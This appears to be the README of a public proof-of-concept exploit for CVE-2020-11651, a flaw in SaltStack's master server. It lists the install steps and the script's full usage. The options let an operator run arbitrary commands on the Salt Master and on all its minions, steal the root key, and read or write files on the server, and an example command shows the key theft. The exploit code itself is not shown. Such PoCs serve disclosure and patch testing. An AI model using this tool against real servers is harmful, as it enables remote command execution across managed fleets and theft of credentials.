kevthehermit / CVE-2020-11651

PoC for CVE-2020-11651

CVE-2020-11651

PoC for CVE-2020-11651

Requires Python3 tested on 3.8

python3.8 -m pip install pyzmq msgpack

⇒  python3.8 poc.py -h                                                      
usage: poc.py [-h] [-p PORT] [-c CMD] [-k] [-m] [-r READ] [-w WRITE] [-f FILE] server [server ...]

Exploit CVE-2020-11651

positional arguments:
  server                Target Server IP or Host

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Target Port (Default=4506)
  -c CMD, --cmd CMD     Command to execute
  -k, --key             Retrieve Root Key
  -m, --minions         Run CMD on all active minions
  -r READ, --read READ  Read a file from the Salt Master
  -w WRITE, --write WRITE
                        Write a file from the Salt Master
  -f FILE, --file FILE  Used with --write, local file to write to Salt Master

Example: poc.py -k 127.0.0.1 (Read the root key)